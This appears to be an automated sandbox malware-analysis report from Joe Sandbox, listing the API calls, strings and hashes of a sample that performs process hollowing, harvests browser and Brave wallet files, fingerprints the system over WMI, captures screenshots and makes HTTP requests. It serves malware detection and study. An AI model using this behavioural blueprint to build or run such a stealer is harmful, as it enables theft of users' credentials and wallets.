GetProcAddress.KERNEL32 ref: 00419511
GetProcAddress.KERNEL32 ref: 00419528
GetProcAddress.KERNEL32(6C750000,SymMatchString), ref: 00419542

Strings

CreateProcessA, xrefs: 00418E43
WriteProcessMemory, xrefs: 00418EB1
HttpQueryInfoA, xrefs: 00419427
SymMatchString, xrefs: 0041953C
SetThreadContext, xrefs: 00418EC7
InternetSetOptionA, xrefs: 0041943D
dbghelp.dll, xrefs: 00418F65
VirtualAllocEx, xrefs: 00418E85
GetThreadContext, xrefs: 00418E59
ReadProcessMemory, xrefs: 00418E6F
ResumeThread, xrefs: 00418E9B

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction ID: 8ba0d5c8ae2e13c06544b1593b83c2cece409b0c910b42dbc8887f4207037caa
Opcode Fuzzy Hash: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction Fuzzy Hash: C752F475910312AFEF1ADFA0FD088243BA7F718707F11A466E91582270E73B4A64EF19

Function 00414CC8 Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 297
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414D1C
FindFirstFileA.KERNEL32(?,?), ref: 00414D33
_memset.LIBCMT ref: 00414D4F
_memset.LIBCMT ref: 00414D60
StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
wsprintfA.USER32 ref: 00414DC2
StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
wsprintfA.USER32 ref: 00414DFF
wsprintfA.USER32 ref: 00414E16

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

_memset.LIBCMT ref: 00414E28
lstrcatA.KERNEL32(?,?), ref: 00414E3D
strtok_s.MSVCRT ref: 00414E82
_memset.LIBCMT ref: 00414E94
lstrcatA.KERNEL32(?,?), ref: 00414EA9
strtok_s.MSVCRT ref: 00414EC2
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00414ED7
DeleteFileA.KERNEL32(?,00436A28,0043661D), ref: 00414F90
CopyFileA.KERNEL32(?,?,00000001), ref: 00414FA0

Part of subcall function 00412166: CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414FB6
DeleteFileA.KERNEL32(?,00000000,?,000003E8,00000000), ref: 00414FC1
strtok_s.MSVCRT ref: 00414FE7
FindNextFileA.KERNELBASE(?,?), ref: 00415105
FindClose.KERNEL32(?), ref: 00415125

Strings

%s\*.*, xrefs: 00414D10
%s\%s\%s, xrefs: 00414DF9
%s\%s, xrefs: 00414DBC
%s\%s, xrefs: 00414E10

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$_memsetlstrcatwsprintf$Findlstrcpystrtok_s$Delete$CloseCopyCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 956187361-332874205
Opcode ID: 0b980f5fe467d40f36a48e0aa954b15b20be97dd482f654baf88f773cf79a131
Instruction ID: 9768ecd297fb6e20fca964dbbce2c4256e5a8c732881b8487d541fa13927e408
Opcode Fuzzy Hash: 0b980f5fe467d40f36a48e0aa954b15b20be97dd482f654baf88f773cf79a131
Instruction Fuzzy Hash: 95C12AB1E0021AABCF22EF60DC45AEE777DAF08305F0140A6FA09A3151DB399F858F55

Function 00409D1C Relevance: 44.4, APIs: 20, Strings: 5, Instructions: 610
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,004367F2,004367EF,00437324,004367EE,?,?,?), ref: 00409DC6
StrCmpCA.SHLWAPI(?,00437328), ref: 00409DE7
StrCmpCA.SHLWAPI(?,0043732C), ref: 00409E01

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

StrCmpCA.SHLWAPI(?,Opera GX,00437330,?,004367F3), ref: 00409E93
StrCmpCA.SHLWAPI(?,Brave,00437350,00437354,00437330,?,004367F3), ref: 0040A015
StrCmpCA.SHLWAPI(?,Preferences), ref: 0040A02F
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A0EF
DeleteFileA.KERNEL32(?), ref: 0040A1BE
StrCmpCA.SHLWAPI(?), ref: 0040A1FC
StrCmpCA.SHLWAPI(?), ref: 0040A266
StrCmpCA.SHLWAPI(0040CCE9), ref: 0040A279

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

StrCmpCA.SHLWAPI(?), ref: 0040A35C
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A41C
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040A4C1
DeleteFileA.KERNEL32(?), ref: 0040A522

Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FD4
Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FEF

Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 00409970
Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 0040998B

StrCmpCA.SHLWAPI(?), ref: 0040A553
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A613
DeleteFileA.KERNEL32(?), ref: 0040A6AA

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

FindNextFileA.KERNEL32(?,?), ref: 0040A76E
FindClose.KERNEL32(?), ref: 0040A782

Strings

Brave, xrefs: 0040A00D
Preferences, xrefs: 0040A023
Google Chrome, xrefs: 0040A4B9
\BraveWallet\Preferences, xrefs: 0040A105
Opera GX, xrefs: 00409E8B

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$lstrcpylstrlen$CopyDeleteFind$lstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 4173076446-1189830961
Opcode ID: 0da3506a32181aca8fc8f354fe3ed4c146f38583c2018349b92cc3e4b9347846
Instruction ID: a9b55009a8fcddda8ff4ceb811f1237a8a6c318138ce5e2e0b09e31f0378cf4a
Opcode Fuzzy Hash: 0da3506a32181aca8fc8f354fe3ed4c146f38583c2018349b92cc3e4b9347846
Instruction Fuzzy Hash: 78422A3194012D9BCF21FB65DD46BCD7775AF04308F4101AAB848B31A2DB79AED98F89

Function 6C4B35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C53F688,00001000), ref: 6C4B35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4B35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4B35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4B363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4B369F
__aulldiv.LIBCMT ref: 6C4B36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C4B3773
EnterCriticalSection.KERNEL32(6C53F688), ref: 6C4B377E
LeaveCriticalSection.KERNEL32(6C53F688), ref: 6C4B37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4B37C4
EnterCriticalSection.KERNEL32(6C53F688), ref: 6C4B37CB
LeaveCriticalSection.KERNEL32(6C53F688), ref: 6C4B3801
__aulldiv.LIBCMT ref: 6C4B3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C4B3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C4B3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C4B394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C4B35DB
AuthcAMDenti, xrefs: 6C4B3946
QPC, xrefs: 6C4B38FC
GTC, xrefs: 6C4B3912
GenuntelineI, xrefs: 6C4B3639

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: af64670847e9b086092e9b94d7384456c007d0b827964a5c5c187e3597b632dc
Instruction ID: 65eabbd485ace202a3a8f3d46e715ed926e2e8233b3cb3d13770863f7fcf6f1f
Opcode Fuzzy Hash: af64670847e9b086092e9b94d7384456c007d0b827964a5c5c187e3597b632dc
Instruction Fuzzy Hash: B5B1A571B043109BDB19DF29CD44B1AB7F5AB89704F068A2DF89DD3790EB709C058B99

Function 00415FD1 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 205
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00416018
FindFirstFileA.KERNEL32(?,?), ref: 0041602F
StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
wsprintfA.USER32 ref: 00416091
StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
wsprintfA.USER32 ref: 004160C2
wsprintfA.USER32 ref: 004160D9
PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
lstrcatA.KERNEL32(?), ref: 00416125
lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
lstrcatA.KERNEL32(?,?), ref: 0041614A
lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
lstrcatA.KERNEL32(?,?), ref: 00416170
CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
DeleteFileA.KERNEL32(?), ref: 0041629D
FindNextFileA.KERNEL32(?,?), ref: 004162FF
FindClose.KERNEL32(?), ref: 00416313

Strings

%s\%s, xrefs: 0041608B
%s\%s, xrefs: 004160D3
%s\*, xrefs: 0041600C

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$CloseCopyDeleteFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 2178766154-445461498
Opcode ID: 6ae935164d3feafb997cd558fd705644e50460ea22fb7019366a12ba31212e16
Instruction ID: 81d09dce4b51b3523f7962b1b768db3a72bb21831e5d2f1ad6ac3091453fc6b6
Opcode Fuzzy Hash: 6ae935164d3feafb997cd558fd705644e50460ea22fb7019366a12ba31212e16
Instruction Fuzzy Hash: 3E81287190022DABCF60EF61DC45ACD77B9FB08305F0194EAE549A3150EE39AB898F94

Function 00411807 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143memorycomtimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0041180E
CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411757: __EH_prolog3_catch.LIBCMT ref: 0041175E
Part of subcall function 00411757: CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B018,?,00000018,00411901,?), ref: 00411781
Part of subcall function 00411757: SysAllocString.OLEAUT32(?), ref: 0041178E
Part of subcall function 00411757: _wtoi64.MSVCRT ref: 004117C1
Part of subcall function 00411757: SysFreeString.OLEAUT32(?), ref: 004117DA
Part of subcall function 00411757: SysFreeString.OLEAUT32(00000000), ref: 004117E1

FileTimeToSystemTime.KERNEL32(?,?), ref: 0041190A
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00411916
HeapAlloc.KERNEL32(00000000), ref: 0041191D
VariantClear.OLEAUT32(?), ref: 0041195C
wsprintfA.USER32 ref: 00411949

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

Unknown, xrefs: 00411985
InstallDate, xrefs: 004118ED
%d/%d/%d %d:%d:%d, xrefs: 00411943
WQL, xrefs: 0041189A
Select * From Win32_OperatingSystem, xrefs: 00411895
ROOT\CIMV2, xrefs: 00411862
Unknown, xrefs: 0041196A
Unknown, xrefs: 00411971

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: 4a998e0831886b93ed92c0276ff9e06964fee6d6e5f1487c865c121be33c5c48
Instruction ID: 99ef6883476e7e72b4c9cbd85dd5ecdaeb76e40d083b236b73c3eff291e47a74
Opcode Fuzzy Hash: 4a998e0831886b93ed92c0276ff9e06964fee6d6e5f1487c865c121be33c5c48
Instruction Fuzzy Hash: 49416C71940209BBCB10DBD5DC89EEFBBBDEB89B11F20411AF611A6190D6799941CB38

Function 0041C585 Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

UT, xrefs: 0041C8B0
/, xrefs: 0041C638

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: 529ba8237f0014992bab19239517a34075ee691daa6caaefc8e8a53a834a0c09
Instruction ID: ceb82e4e54f3846e9f94eab9f0bc1a81f9160b51cd409ffa36bf36e6f1d1d03f
Opcode Fuzzy Hash: 529ba8237f0014992bab19239517a34075ee691daa6caaefc8e8a53a834a0c09
Instruction Fuzzy Hash: 55027EB19442688BDF21CF64CC817EEBBB5AF45304F1440EAD949AB242D6389EC5CF99

Function 00406963 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 161networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
StrCmpCA.SHLWAPI(?), ref: 004069DF
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B40
InternetCloseHandle.WININET(?), ref: 00406B50
InternetCloseHandle.WININET(?), ref: 00406B5C
InternetCloseHandle.WININET(?), ref: 00406B68

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Strings

GET, xrefs: 00406A42
ERROR, xrefs: 00406AB6
hhA, xrefs: 00406976
ERROR, xrefs: 00406BAB

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET$hhA
API String ID: 3863758870-1019273260
Opcode ID: 5ced189bb939a1fc5faa788c84153e92a49d451aed57d78017f4c722cf7cb7a8
Instruction ID: b8be4e115d185e019c2f990b7d5ff4e2311a6bf9c79d427f1dbcd116f6077eb1
Opcode Fuzzy Hash: 5ced189bb939a1fc5faa788c84153e92a49d451aed57d78017f4c722cf7cb7a8
Instruction Fuzzy Hash: C551ADB1A00269AFDF20EB60DC84AEEB7B9FB04304F0180B6F549B2190DA755EC59F94

Function 00411F55 Relevance: 24.1, APIs: 16, Instructions: 147windowCOMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00411F96
GetDesktopWindow.USER32 ref: 00411FA4
GetWindowRect.USER32(00000000,?), ref: 00411FB1
GetDC.USER32(00000000), ref: 00411FB8
CreateCompatibleDC.GDI32(00000000), ref: 00411FC1
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00411FD1
SelectObject.GDI32(?,00000000), ref: 00411FDE
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00411FFA
GetHGlobalFromStream.COMBASE(?,?), ref: 00412049
GlobalLock.KERNEL32(?), ref: 00412052
GlobalSize.KERNEL32(?), ref: 0041205E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

